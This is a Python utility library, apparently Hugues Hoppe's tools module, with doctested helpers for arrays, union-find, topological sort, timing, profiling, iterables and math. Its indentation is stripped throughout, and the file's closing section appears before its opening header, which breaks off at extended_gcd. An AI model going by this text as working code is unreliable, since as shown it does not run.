length = axis_lengths[axis][coords[axis]]
extent = array.shape[axis]
aligned_start = start + offset(length, extent, align[i][axis])
slices.append(slice(aligned_start, aligned_start + extent))
output_array[tuple(slices)] = array
return output_array
def shift(array: Any, offset: Any, constant_values: Any = 0) -> _NDArray:
"""Return a copy of the array shifted by offset, with fill using constant.
>>> array = np.arange(1, 13).reshape(3, 4)
>>> shift(array, (1, 1))
array([[0, 0, 0, 0],
[0, 1, 2, 3],
[0, 5, 6, 7]])
>>> shift(array, (-1, -2), constant_values=-1)
array([[ 7, 8, -1, -1],
[11, 12, -1, -1],
[-1, -1, -1, -1]])
"""
array = np.asarray(array)
offset = np.atleast_1d(offset)
assert offset.shape == (array.ndim,)
new_array = np.empty_like(array)
def slice_axis(o: int) -> slice:
return slice(o, None) if o >= 0 else slice(0, o)
new_array[tuple(slice_axis(o) for o in offset)] = (
array[tuple(slice_axis(-o) for o in offset)])
for axis, o in enumerate(offset):
new_array[(slice(None),) * axis +
(slice(0, o) if o >= 0 else slice(o, None),)] = constant_values
return new_array
## Graph algorithms
class UnionFind:
"""Union-find is an efficient technique for tracking equivalence classes as
pairs of elements are incrementally unified into the same class. See
https://en.wikipedia.org/wiki/Disjoint-set_data_structure .
The implementation uses path compression but without weight-balancing, so the
worst case time complexity is O(n*log(n)), but the average case is O(n).
>>> union_find = UnionFind()
>>> union_find.find(1)
1
>>> union_find.find('hello')
'hello'
>>> union_find.same('hello', 'hello')
True
>>> union_find.same('hello', 'different')
False
>>> union_find.union('hello', 'there')
>>> union_find.find('hello')
'hello'
>>> union_find.find('there')
'hello'
>>> union_find.same('hello', 'there')
True
>>> union_find.union('there', 'here')
>>> union_find.same('hello', 'here')
True
"""
def __init__(self) -> None:
self._rep: Dict[Any, Any] = {}
def union(self, a: Any, b: Any) -> None:
"""Merge the equivalence class of b into that of a."""
rep_a, rep_b = self.find(a), self.find(b)
self._rep[rep_b] = rep_a
def same(self, a: Any, b: Any) -> bool:
"""Return whether a and b are in the same equivalence class."""
result: bool = self.find(a) == self.find(b)
return result
def find(self, a: Any) -> Any:
"""Return a representative for the class of a; valid until next union()."""
if a not in self._rep:
return a
parents = []
while True:
parent = self._rep.setdefault(a, a)
if parent == a:
break
parents.append(a)
a = parent
for p in parents:
self._rep[p] = a
return a
def topological_sort(graph: Mapping[_T, Sequence[_T]],
cycle_check: bool = False) -> List[_T]:
"""Given a dag (directed acyclic graph), return a list of graph nodes such
that for every directed edge (u, v) in the graph, u is before v in the list.
See https://en.wikipedia.org/wiki/Topological_sorting and
https://stackoverflow.com/a/47234034 .
>>> graph = {2: [3], 3: [4], 1: [2], 4: []}
>>> topological_sort(graph)
[1, 2, 3, 4]
>>> topological_sort({2: [3], 3: [4, 5], 1: [2], 4: [5], 5: []})
[1, 2, 3, 4, 5]
"""
if sys.version_info > (3, 9):
import graphlib # pylint: disable=import-error
return list(graphlib.TopologicalSorter(graph).static_order())[::-1]
result = []
seen = set()
def recurse(node: _T) -> None:
for dependent in reversed(graph[node]):
if dependent not in seen:
seen.add(dependent)
recurse(dependent)
result.append(node)
all_dependents: Set[_T] = set()
all_dependents.update(*graph.values())
for node in reversed(list(graph)): # (reversed(graph) in Python 3.8).
if node not in all_dependents:
recurse(node)
if cycle_check:
position = {node: i for i, node in enumerate(result)}
for node, dependents in graph.items():
for dependent in dependents:
if position[node] < position[dependent]:
raise ValueError('Graph contains a cycle')
return result[::-1]
## Search algorithms
def discrete_binary_search(feval: Callable[[Any], Any], xl: Any, xh: Any,
y_desired: Any) -> Any:
"""Return x such that feval(x) <= y_desired < feval(x + 1),
Parameters must satisfy xl < xh and feval(xl) <= y_desired < feval(xh).
>>> discrete_binary_search(lambda x: x**2, 0, 20, 15)
3
>>> discrete_binary_search(lambda x: x**2, 0, 20, 16)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 17)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 24)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 25)
5
"""
assert xl < xh
while xh - xl > 1:
xm = (xl + xh) // 2
ym = feval(xm)
if y_desired >= ym:
xl = xm
else:
xh = xm
return xl
## General I/O
def write_contents(path: str, data: Union[str, bytes]) -> None:
"""Write data (either utf-8 string or bytes) to file.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... write_contents(path, b'hello')
... check_eq(path.read_bytes(), b'hello')
... write_contents(path, 'hello2')
... check_eq(path.read_text(), 'hello2')
"""
bytes_data: bytes = data if isinstance(data, bytes) else data.encode()
with open(path, 'wb') as f:
f.write(bytes_data)
def is_executable(path: _Path) -> bool:
"""Check if a file is executable.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... _ = path.write_text('test')
... check_eq(is_executable(path), False)
... if sys.platform != 'cygwin':
... # Copy R bits to X bits:
... path.chmod(path.stat().st_mode | ((path.stat().st_mode & 0o444) >> 2))
... check_eq(is_executable(path), True)
"""
return bool(pathlib.Path(path).stat().st_mode & stat.S_IEXEC)
## OS commands
def run(args: Union[str, Sequence[str]]) -> None:
"""Execute command, printing output from stdout and stderr.
Args:
args: Command to execute, which can be either a string or a sequence of word
strings, as in `subprocess.run()`. If `args` is a string, the shell is
invoked to interpret it.
Raises:
RuntimeError: If the command's exit code is nonzero.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... run(f'echo ab >{path}')
... assert path.is_file() and 3 <= path.stat().st_size <= 4
"""
proc = subprocess.run(
args,
shell=isinstance(args, str),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
check=False,
universal_newlines=True)
print(proc.stdout, end='', flush=True)
if proc.returncode:
raise RuntimeError(
f"Command '{proc.args}' failed with code {proc.returncode}.")
if __name__ == '__main__':
doctest.testmod()
| #!/usr/bin/env python3
"""Library of Python tools -- Hugues Hoppe.
# pylint: disable=line-too-long
Useful commands to test and polish this file:
bash -c 'f=__init__.py; true && env python3 $f; env mypy --strict "$f"; autopep8 -a -a -a --max-line-length 80 --indent-size 2 --ignore E265 --diff "$f"; pylint --indent-string=" " --disable=C0103,C0302,C0415,R0902,R0903,R0913,R0914,W0640 "$f"; true && python3 -m doctest -v "$f" | perl -ne "print if /had no tests/../passed all/" | head -n -1; true && env pytest ..; echo All ran.'
env pytest --doctest-modules ..
env python3 -m doctest -v hhoppe_tools.py | perl -ne 'print if /had no tests/../passed all/' | tail -n +2 | head -n -1
hhoppe_tools.py
env mypy --strict hhoppe_tools.py
bash -c "autopep8 -a -a -a --max-line-length 80 --indent-size 2 --ignore E265 hhoppe_tools.py >~/tmp/v && ediff hhoppe_tools.py ~/tmp/v"
bash -c 'pylint --indent-string=" " --disable=C0103,C0302,C0415,R0201,R0902,R0903,R0913,R0914 hhoppe_tools.py'
bash -c "pydoc3 ~/bin/hhoppe_tools.py" # Print module help
gpylint hhoppe_tools.py
# pylint: enable=line-too-long
"""
__docformat__ = 'google'
__version__ = '0.8.1'
__version_info__ = tuple(int(num) for num in __version__.split('.'))
import ast
import collections.abc
import contextlib
import cProfile
import dataclasses
import doctest
import functools
import gc
import io # pylint: disable=unused-import
import importlib.util
import itertools
import math
import numbers
import os # pylint: disable=unused-import
import pathlib
import pstats
import re
import stat
import subprocess
import sys
import tempfile # pylint:disable=unused-import
import time
import traceback
import typing
from typing import Any, Callable, Dict, Generator, Iterable
from typing import Iterator, List, Mapping, Optional, Sequence, Set
from typing import Tuple, TypeVar, Union
import unittest.mock # pylint: disable=unused-import
import numpy as np
_T = TypeVar('_T')
_F = TypeVar('_F', bound=Callable[..., Any])
_UNDEFINED = object()
# _NDArray = np.ndarray[Any, Any]
_NDArray = Any # numpy typing is not yet mature.
# https://github.com/python/mypy/issues/5667
if typing.TYPE_CHECKING:
_Path = Union[str, 'os.PathLike[str]']
else:
_Path = Union[str, os.PathLike]
## Language extensions
def assertv(value: Optional[_T]) -> _T:
"""Assert a value and return it; functional assert.
>>> assertv('33')
'33'
>>> assertv([])
Traceback (most recent call last):
...
AssertionError: []
"""
assert value, value
return value
## Debugging output
def check_eq(a: Any, b: Any) -> None:
"""Assert that two values are equal or raise exception with a useful message.
Args:
a: First expression.
b: Second expression.
Raises:
RuntimeError: If a != b (or np.any(a != b) if np.ndarray).
>>> check_eq('a' + 'b', 'ab')
>>> check_eq(1 + 2, 4)
Traceback (most recent call last):
...
AssertionError: 3 == 4
"""
check_fails = np.any(a != b) if isinstance(a, np.ndarray) else a != b
if check_fails:
raise AssertionError(f'{a!r} == {b!r}')
def print_err(*args: str, **kwargs: Any) -> None:
r"""Prints arguments to stderr immediately.
>>> with unittest.mock.patch('sys.stderr', new_callable=io.StringIO) as m:
... print_err('hello')
... print(repr(m.getvalue()))
'hello\n'
"""
kwargs = {**dict(file=sys.stderr, flush=True), **kwargs}
print(*args, **kwargs)
def dump_vars(*args: Any) -> str:
"""Return a string showing the values of each expression.
Specifically, convert each expression (contributed by the caller to the
variable-parameter list *args) into a substring f'expression = {expression}'
and join these substrings separated by ', '.
If the caller itself provided a variable-parameter list (*args),
the search continues in its callers. The approach examines a stack trace,
so it is fragile and non-portable.
Args:
*args: Expressions to show.
Raises:
Exception: If the dump_vars(...) does not fit on a single source line.
>>> a = 45
>>> b = 'Hello'
>>> dump_vars(a)
'a = 45'
>>> dump_vars(b)
'b = Hello'
>>> dump_vars(a, b, (a * 2) + 5, b + ' there')
"a = 45, b = Hello, (a * 2) + 5 = 95, b + ' there' = Hello there"
>>> dump_vars([3, 4, 5][1])
'[3, 4, 5][1] = 4'
"""
def matching_parenthesis(text: str) -> int:
"""Return the index of ')' matching '(' in text[0]."""
check_eq(text[0], '(')
num_open = 0
for i, c in enumerate(text):
if c == '(':
num_open += 1
elif c == ')':
num_open -= 1
if num_open == 0:
return i
raise RuntimeError(f'No matching right parenthesis in "{text}"')
# Adapted from make_dict() in https://stackoverflow.com/a/2553524 .
stack = traceback.extract_stack()
this_function_name = stack[-1][2] # i.e. initially 'dump_vars'.
for stackframe in stack[-2::-1]:
(filename, unused_line_number, function_name, text) = stackframe # Caller.
# https://docs.python.org/3/tutorial/errors.html:
# "however, it will not display lines read from standard input."
if filename == '<stdin>':
check_eq(text, '')
return ', '.join(str(e) for e in args) # Unfortunate fallback.
prefix = this_function_name + '('
begin = text.find(prefix)
if begin < 0:
raise Exception(f'dump_vars: cannot find "{prefix}" in line "{text}"')
begin += len(this_function_name)
end = begin + matching_parenthesis(text[begin:])
parameter_string = text[begin + 1:end].strip()
if re.fullmatch(r'\*[\w]+', parameter_string):
this_function_name = function_name
# Because the call is made using a *args, we continue to
# the earlier caller in the stack trace.
else:
if len(args) == 1:
expressions = [parameter_string.strip()]
elif hasattr(ast, 'get_source_segment'): # Python 3.8.
node = ast.parse(parameter_string)
# print(ast.dump(node)) # ", indent=2" requires Python 3.9.
value = getattr(node.body[0], 'value', '?')
elements = getattr(value, 'elts', [value])
def get_text(element: Any) -> str:
text = ast.get_source_segment(parameter_string, element)
return '?' if text is None else text
expressions = [get_text(element) for element in elements]
else:
expressions = [name.strip() for name in parameter_string.split(',')]
l = []
for (expr, value) in zip(expressions, args):
l.append(f'{expr} = {value}' if expr[0] not in '"\'' else str(value))
return ', '.join(l)
raise AssertionError
def show(*args: Any) -> None:
r"""Prints expressions and their values on stdout.
Args:
*args: Expressions to show.
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... show(4 * 3)
... check_eq(m.getvalue(), '4 * 3 = 12\n')
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... a ='<string>'
... show(a, 'literal_string', "s", a * 2, 34 // 3)
... s = m.getvalue()
>>> s
'a = <string>, literal_string, s, a * 2 = <string><string>, 34 // 3 = 11\n'
"""
print(dump_vars(*args), flush=True)
## Jupyter/IPython notebook functionality
def in_colab() -> bool:
"""Return True if running inside Google Colab.
>>> in_colab()
False
"""
try:
import google.colab # pylint: disable=unused-import
return True
except ModuleNotFoundError:
return False
class _CellTimer:
"""Record timings of all notebook cells and show top entries at the end."""
# Inspired from https://github.com/cpcloud/ipython-autotime.
instance: Optional['_CellTimer'] = None
def __init__(self) -> None:
import IPython
self.elapsed_times: Dict[int, float] = {}
self.start()
IPython.get_ipython().events.register('pre_run_cell', self.start)
IPython.get_ipython().events.register('post_run_cell', self.stop)
def close(self) -> None:
"""Destroy the _CellTimer and its notebook callbacks."""
import IPython
IPython.get_ipython().events.unregister('pre_run_cell', self.start)
IPython.get_ipython().events.unregister('post_run_cell', self.stop)
def start(self) -> None:
"""Start a timer for the notebook cell execution."""
self.start_time = time.monotonic()
def stop(self) -> None:
"""Start the timer for the notebook cell execution."""
import IPython
elapsed_time = time.monotonic() - self.start_time
input_index = IPython.get_ipython().execution_count
if not in_colab():
input_index -= 1
self.elapsed_times[input_index] = elapsed_time
def show_times(self, n: Optional[int] = None, sort: bool = False) -> None:
"""Print notebook cell timings."""
import IPython
print(f'Total time: {sum(self.elapsed_times.values()):.2f} s')
times = list(self.elapsed_times.items())
times = sorted(times, key=lambda x: x[sort], reverse=sort)
# https://github.com/ipython/ipython/blob/master/IPython/core/history.py
# https://ipython.readthedocs.io/en/stable/api/generated/IPython.core.history.html
session = IPython.get_ipython().history_manager.session_number
history_range = IPython.get_ipython().history_manager.get_range(session)
inputs = {index: text for unused_session, index, text in history_range}
for input_index, elapsed_time in itertools.islice(times, n):
cell_input = inputs[input_index]
print(f'In[{input_index:3}] {cell_input!r:60.60} {elapsed_time:6.3f} s')
def start_timing_notebook_cells() -> None:
"""Start timing of Jupyter notebook cells.
Place in an early notebook cell. See also `show_notebook_cell_top_times`.
"""
import IPython
if IPython.get_ipython():
if _CellTimer.instance:
_CellTimer.instance.close()
_CellTimer.instance = _CellTimer()
def show_notebook_cell_top_times() -> None:
"""Print summary of timings for Jupyter notebook cells.
Place in a late notebook cell. See also `start_timing_notebook_cells`.
"""
if _CellTimer.instance:
_CellTimer.instance.show_times(n=20, sort=True)
## Timing
def get_time_and_result(func: Callable[[], Any], *, max_num: int = 10,
max_time: float = 2.0) -> Tuple[float, Any]:
"""Return (minimum_time, result) when repeatedly calling `func`.
>>> elapsed, result = get_time_and_result(lambda: 11 + 22)
>>> elapsed < 0.01
True
>>> result
33
"""
assert callable(func) and max_num > 0 and max_time > 0.0
gc_was_enabled = gc.isenabled()
try:
gc.disable()
num_time = 0
sum_time = 0.0
min_time = np.inf
start = time.monotonic()
while num_time < max_num and sum_time < max_time:
result = func()
stop = time.monotonic()
elapsed = stop - start
start = stop
num_time += 1
sum_time += elapsed
min_time = min(min_time, elapsed)
finally:
if gc_was_enabled:
gc.enable()
return min_time, result
def get_time(func: Callable[[], Any], **kwargs: Any) -> float:
"""Return the minimum execution time when repeatedly calling `func`.
>>> elapsed = get_time(lambda: time.sleep(0.2), max_num=1)
>>> 0.15 < elapsed < 0.25
True
"""
return get_time_and_result(func, **kwargs)[0]
def print_time(func: Callable[[], Any], **kwargs: Any) -> None:
"""Print the minimum execution time when repeatedly calling `func`.
>>> print_time(lambda: 11 + 22)
0.000 s
"""
min_time = get_time(func, **kwargs)
print(f'{min_time:.3f} s', flush=True)
## Profiling
def prun(func: Callable[[], Any], mode: str = 'tottime',
top: Optional[int] = None) -> None:
"""Profile the function call and print reformatted statistics.
>>> with unittest.mock.patch('sys.stdout', new_callable=io.StringIO) as m:
... prun(lambda: np.linalg.qr(np.random.random((400, 400))))
... lines = m.getvalue().splitlines()
>>> assert lines[0].startswith('# Prun: tottime ')
>>> assert 'overall_cumtime' in lines[0]
>>> assert len(lines) >= 4
"""
assert callable(func)
assert mode in ('original', 'full', 'tottime'), mode
profile = cProfile.Profile()
try:
profile.enable()
func()
finally:
profile.disable()
with io.StringIO() as string_io:
args = (top,) if top is not None else ()
pstats.Stats(profile, stream=string_io).sort_stats(
'tottime').print_stats(*args)
lines = string_io.getvalue().strip('\n').splitlines()
if mode == 'original':
print('\n'.join(lines))
return
def beautify_function_name(name: str) -> str:
name = re.sub(r'^\{built-in method (.*)\}$', r'\1 (built-in)', name)
name = re.sub(r"^\{method '(.*)' of '(.*)' objects\}$", r'\2.\1', name)
name = re.sub(r'^\{function (\S+) at (0x\w+)\}$', r'\1', name)
name = re.sub(r'^<ipython-input[-\w]+>:\d+\((.*)\)$', r'\1', name)
name = re.sub(r'^([^:()]+):(\d+)\((.+)\)$', r'\3 (\1:\2)', name)
name = re.sub(r'^\{(\S+)\}$', r'\1', name)
name = re.sub(r' \(/tmp/ipykernel.*\.py:', r' (/tmp/ipykernel:', name)
return name
output = []
overall_time = 0.0
post_header = False
for line in lines:
if post_header:
tottime_str, cumtime_str, name = assertv(re.fullmatch(
r'\s*\S+\s+(\S+)\s+\S+\s+(\S+)\s+\S+\s+(\S.*)', line)).groups()
tottime, cumtime = float(tottime_str), float(cumtime_str)
beautified_name = beautify_function_name(name)
overall_time += 1e-6
significant_time = (tottime / overall_time > 0.05 or
0.05 < cumtime / overall_time < 0.95)
if top is not None or significant_time:
if mode == 'tottime':
output.append(f' {tottime:8.3f} {cumtime:8.3f} {beautified_name}')
else: # mode == 'full'
output.append(line.replace(name, beautified_name))
elif ' function calls ' in line:
overall_time = float(
assertv(re.search(r' in (\S+) seconds', line)).group(1))
output.append(f'Prun: tottime {overall_time:8.3f} overall_cumtime')
elif line.lstrip().startswith('ncalls '):
if mode == 'full':
output.append(line)
post_header = True
print('\n'.join([f'#{" " * bool(line)}' + line for line in output]))
## Operations on iterables
def repeat_each(iterable: Iterable[_T], n: int) -> Iterator[_T]:
"""Repeat each element of iterable 'n' times.
>>> list(repeat_each(list('abc'), 2))
['a', 'a', 'b', 'b', 'c', 'c']
>>> ''.join(itertools.islice(repeat_each(itertools.cycle('abcd'), 4), 30))
'aaaabbbbccccddddaaaabbbbccccdd'
"""
# https://stackoverflow.com/a/65071833
return itertools.chain.from_iterable(zip(*itertools.tee(iterable, n)))
def only(iterable: Iterable[_T]) -> _T:
"""Return the first element and asserts that there are no more.
>>> only(range(1))
0
>>> only(range(2))
Traceback (most recent call last):
...
ValueError: [0, 1, ...] has more than one element
>>> only(range(0))
Traceback (most recent call last):
...
StopIteration
"""
# Or use: return (lambda x: x)(*iterable)
iterator = iter(iterable)
first = next(iterator)
missing = object()
second = next(iterator, missing)
if second != missing:
raise ValueError(f'[{first}, {second}, ...] has more than one element')
return first
def grouped(iterable: Iterable[_T],
n: int,
fillvalue: Optional[_T] = None,
) -> Iterator[Tuple[Optional[_T], ...]]:
"""Return elements collected into fixed-length chunks.
>>> list(grouped('ABCDEFG', 3, 'x'))
[('A', 'B', 'C'), ('D', 'E', 'F'), ('G', 'x', 'x')]
>>> list(grouped(range(5), 3))
[(0, 1, 2), (3, 4, None)]
>>> list(grouped(range(5), 3, fillvalue=9))
[(0, 1, 2), (3, 4, 9)]
>>> list(grouped(range(6), 3))
[(0, 1, 2), (3, 4, 5)]
>>> list(grouped([], 2))
[]
"""
# From grouper() in https://docs.python.org/3/library/itertools.html.
iters = [iter(iterable)] * n
return itertools.zip_longest(*iters, fillvalue=fillvalue)
def chunked(iterable: Iterable[_T],
n: Optional[int] = None,
) -> Iterator[Tuple[_T, ...]]:
"""Return elements collected as tuples of length at most 'n' if not None.
>>> list(chunked('ABCDEFG', 3))
[('A', 'B', 'C'), ('D', 'E', 'F'), ('G',)]
>>> list(chunked(range(5), 3))
[(0, 1, 2), (3, 4)]
>>> list(chunked(range(5)))
[(0, 1, 2, 3, 4)]
>>> list(chunked([]))
[]
"""
def take(n: int, iterable: Iterable[_T]) -> Tuple[_T, ...]:
return tuple(itertools.islice(iterable, n))
return iter(functools.partial(take, n, iter(iterable)), ())
def sliding_window(iterable: Iterable[_T], n: int) -> Iterator[Tuple[_T, ...]]:
"""Return overlapping tuples of length `n` from `iterable`.
>>> list(sliding_window('ABCDEF', 4))
[('A', 'B', 'C', 'D'), ('B', 'C', 'D', 'E'), ('C', 'D', 'E', 'F')]
>>> list(sliding_window('ABCDE', 1))
[('A',), ('B',), ('C',), ('D',), ('E',)]
>>> list(sliding_window('ABCDE', 8))
[]
>>> list(sliding_window('A', 2))
[]
>>> list(sliding_window('', 1))
[]
"""
# From https://docs.python.org/3/library/itertools.html.
it = iter(iterable)
window = collections.deque(itertools.islice(it, n), maxlen=n)
if len(window) == n:
yield tuple(window)
for x in it:
window.append(x)
yield tuple(window)
def powerset(iterable: Iterable[_T]) -> Iterator[Tuple[_T, ...]]:
"""Return all subsets of iterable.
>>> list(powerset([1, 2, 3]))
[(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)]
>>> list(powerset([]))
[()]
"""
# From https://docs.python.org/3/library/itertools.html.
s = list(iterable)
return itertools.chain.from_iterable(
itertools.combinations(s, r) for r in range(len(s) + 1))
def peek_first(iterator: Iterable[_T]) -> Tuple[_T, Iterable[_T]]:
"""Given an iterator, return first element and re-initialized iterator.
Example:
first_image, images = peek_first(images)
Args:
iterator: An input iterator or iterable.
Returns:
A tuple (first_element, iterator_reinitialized) containing:
first_element: The first element of the input.
iterator_reinitialized: A clone of the original iterator/iterable.
>>> value, iter = peek_first(range(5))
>>> value
0
>>> list(iter)
[0, 1, 2, 3, 4]
"""
# Inspired from https://stackoverflow.com/a/12059829
peeker, iterator_reinitialized = itertools.tee(iterator)
first = next(peeker)
return first, iterator_reinitialized
## Temporary variable assignment
@contextlib.contextmanager
def temporary_assignment(variables: Dict[str, Any], name: str,
value: Any) -> Generator[None, None, None]:
"""Temporarily assign `value` to the variable named `name` in `variables`.
Args:
variables: Usually the `globals()` of the caller module. Note that
`locals()` does not work as it should not be modified.
name: Name of the variable in `variables` to temporarily assign.
value: Value assigned to `name` in the lifetime of the context.
>>> var = 1
>>> with temporary_assignment(globals(), 'var', 2):
... check_eq(var, 2)
>>> check_eq(var, 1)
>>> assert 'var2' not in globals()
>>> with temporary_assignment(globals(), 'var2', '1'):
... check_eq(var2, '1')
>>> assert 'var2' not in globals()
"""
# https://stackoverflow.com/a/57226721.
old_value = variables.get(name, _UNDEFINED)
variables[name] = value
yield
if old_value is _UNDEFINED:
del variables[name]
else:
variables[name] = old_value
## Meta programming
@typing.overload # Bare decorator.
def noop_decorator(func: _F) -> _F: ...
@typing.overload # Decorator with arguments.
def noop_decorator(*args: Any, **kwargs: Any) -> Callable[[_F], _F]: ...
def noop_decorator(*args: Any, **kwargs: Any) -> Any:
"""Return function decorated with no-op; invokable with or without args.
>>> @noop_decorator
... def func1(x): return x * 10
>>> @noop_decorator()
... def func2(x): return x * 10
>>> @noop_decorator(2, 3)
... def func3(x): return x * 10
>>> @noop_decorator(keyword=True)
... def func4(x): return x * 10
>>> check_eq(func1(1) + func2(1) + func3(1) + func4(1), 40)
"""
if len(args) != 1 or not callable(args[0]) or kwargs:
return noop_decorator # Decorator is invoked with arguments; ignore them.
func: Callable[[Any], Any] = args[0]
return func
def terse_str(cls: type) -> type:
"""Decorator for a dataclasses.dataclass, which defines a custom str().
>>> @terse_str
... @dataclasses.dataclass
... class TestTerseStr:
... a: int = 3
... b: List[str] = dataclasses.field(default_factory=lambda: ['g', 'h'])
>>> str(TestTerseStr())
'TestTerseStr()'
>>> str(TestTerseStr(a=4))
'TestTerseStr(a=4)'
>>> str(TestTerseStr(b=['i', 'j']))
"TestTerseStr(b=['i', 'j'])"
"""
assert isinstance(cls, type)
default_for_field = {
field.name: (field.default_factory() if callable(field.default_factory)
else field.default)
for field in dataclasses.fields(cls)
if field.repr
}
def __str__(self: Any) -> str:
"""Return a string containing only the non-default field values."""
text = ', '.join(f'{name}={getattr(self, name)!r}'
for name, default in default_for_field.items()
if getattr(self, name) != default)
return f'{type(self).__name__}({text})'
setattr(cls, '__str__', __str__)
return cls
## Imports and modules
# If placing this code in a package, rename this file to __init__.py
# as discussed in https://pcarleton.com/2016/09/06/python-init/
# to avoid long names like package.module.function. See the example in
# https://github.com/python/cpython/blob/master/Lib/collections/__init__.py
def create_module(module_name: str, elements: Iterable[Any] = ()) -> Any:
"""Return a new empty module (not associated with any file).
>>> def some_function(*args, **kwargs): return 'success'
>>> class Node:
... def __init__(self): self.attrib = 2
>>> test_module = create_module('test_module', [some_function, Node])
>>> test_module.some_function(10)
'success'
>>> assert 'some_function' in dir(test_module)
>>> help(test_module.some_function)
Help on function some_function in module test_module:
<BLANKLINE>
some_function(*args, **kwargs)
<BLANKLINE>
>>> node = test_module.Node()
>>> type(node)
<class 'test_module.Node'>
>>> node.attrib
2
"""
# https://stackoverflow.com/a/53080237
module = sys.modules.get(module_name)
if not module:
spec = importlib.util.spec_from_loader(module_name, loader=None)
assert spec
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
for element in elements:
setattr(module, element.__name__, element)
element.__module__ = module_name
return module
## System functions
@contextlib.contextmanager
def timing(description: str = 'Timing') -> Generator[None, None, None]:
"""Context that reports elapsed time.
Example:
with timing('List comprehension example'):
_ = [i for i in range(10_000_000)]
Args:
description: A string to print before the elapsed time.
Yields:
None.
>>> with timing('List comprehension example'):
... _ = [i for i in range(10_000)] # doctest:+ELLIPSIS
List comprehension example: 0.00...
"""
start = time.monotonic()
yield
elapsed_time = time.monotonic() - start
print(f'{description}: {elapsed_time:.6f}')
def typename(o: Any) -> str:
"""Return the full name (including module) of the type of o.
>>> typename(5)
'int'
>>> typename('text')
'str'
>>> typename(np.array([1]))
'numpy.ndarray'
"""
# https://stackoverflow.com/a/2020083
name: str = o.__class__.__qualname__
module = o.__class__.__module__
return name if module in (None, 'builtins') else f'{module}.{name}'
def show_biggest_vars(variables: Mapping[str, Any], n: int = 10) -> None:
"""Print the variables with the largest memory allocation (in bytes).
Usage:
show_biggest_vars(globals())
Args:
variables: Dictionary of variables (often, `globals()`).
n: The number of largest variables to list.
>>> show_biggest_vars({'i': 12, 's': 'text', 'ar': np.ones((1000, 1000))})
... # doctest:+ELLIPSIS
ar numpy.ndarray ...
s str ...
i int ...
"""
var = variables
infos = [(name, sys.getsizeof(value), typename(value))
for name, value in var.items()]
infos.sort(key=lambda pair: pair[1], reverse=True)
for name, size, vartype in infos[:n]:
print(f'{name:24} {vartype:20} {size:_}')
## Mathematics
def as_float(a: Any) -> _NDArray:
"""Convert non-floating-point array to floating-point type.
Args:
a: Input array.
Returns:
Array 'a' if it is already floating-point (np.float32 or np.float64),
else 'a' converted to type np.float32 or np.float64 based on the necessary
precision. Note that 64-bit integers cannot be represented exactly.
>>> as_float(np.array([1.0, 2.0]))
array([1., 2.])
>>> as_float(np.array([1.0, 2.0], dtype=np.float32))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1.0, 2.0], dtype='float64'))
array([1., 2.])
>>> as_float(np.array([1, 2], dtype=np.uint8))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1, 2], dtype=np.uint16))
array([1., 2.], dtype=float32)
>>> as_float(np.array([1, 2]))
array([1., 2.])
"""
a = np.asarray(a)
if issubclass(a.dtype.type, np.floating):
return a
dtype = np.float64 if np.iinfo(a.dtype).bits >= 32 else np.float32
return a.astype(dtype)
def normalize(a: Any, axis: Optional[int] = None) -> _NDArray:
"""Return array 'a' scaled such that its elements have unit 2-norm.
Args:
a: Input array.
axis: Optional axis. If None, normalizes the entire matrix. Otherwise,
normalizes each element along the specified axis.
Returns:
An array such that its elements along 'axis' are rescaled to have L2 norm
equal to 1. Any element with zero norm is replaced by nan values.
>>> normalize(np.array([10, 10, 0]))
array([0.70710678, 0.70710678, 0. ])
>>> normalize([[0, 10], [10, 10]], axis=-1)
array([[0. , 1. ],
[0.70710678, 0.70710678]])
>>> normalize([[0, 10], [10, 10]], axis=0)
array([[0. , 0.70710678],
[1. , 0.70710678]])
>>> normalize([[0, 10], [10, 10]])
array([[0. , 0.57735027],
[0.57735027, 0.57735027]])
"""
a = np.asarray(a)
norm = np.linalg.norm(a, axis=axis)
if axis is not None:
norm = np.expand_dims(norm, axis)
with np.errstate(invalid='ignore'):
return a / norm
def rms(a: Any, axis: Optional[int] = None) -> Union[float, _NDArray]:
"""Return the root mean square of the array values.
>>> rms([3.0])
3.0
>>> rms([-3.0, 4.0])
3.5355339059327378
>>> rms([10, 11, 12])
11.030261405182864
>>> rms([[-1.0, 1.0], [0.0, -2.0]])
1.224744871391589
>>> rms([[-1.0, 1.0], [0.0, -2.0]], axis=-1)
array([1. , 1.41421356])
"""
return np.sqrt(np.mean(np.square(as_float(a)), axis, dtype=np.float64))
def lenient_subtract(a: Any, b: Any) -> Any:
"""Return a - b, but returns 0 where a and b are the same signed infinity.
>>> inf = math.inf
>>> lenient_subtract([3., 3., inf, inf, -inf, -inf],
... [1., inf, inf, -inf, inf, -inf])
array([ 2., -inf, 0., inf, -inf, 0.])
"""
a = np.asarray(a)
b = np.asarray(b)
same_infinity = ((np.isposinf(a) & np.isposinf(b)) |
(np.isneginf(a) & np.isneginf(b)))
return np.subtract(a, b, out=np.zeros_like(a), where=~same_infinity)
def print_array(a: Any, **kwargs: Any) -> None:
"""Print the array.
>>> print_array(np.arange(6).reshape(2, 3), file=sys.stdout)
array([[0, 1, 2],
[3, 4, 5]]) shape=(2, 3) dtype=int64
"""
x = np.asarray(a)
print_err(f'{repr(x)} shape={x.shape} dtype={x.dtype}', **kwargs)
def prime_factors(n: int) -> List[int]:
"""Return an ascending list of the (greather-than-one) prime factors of n.
>>> prime_factors(1)
[]
>>> prime_factors(2)
[2]
>>> prime_factors(4)
[2, 2]
>>> prime_factors(60)
[2, 2, 3, 5]
"""
factors = []
d = 2
while d * d <= n:
while (n % d) == 0:
factors.append(d)
n //= d
d += 1
if n > 1:
factors.append(n)
return factors
def extended_gcd(a: int, b: int) -> Tuple[int, int, int]:
"""Find the greatest common divisor using the extended Euclidean algorithm.
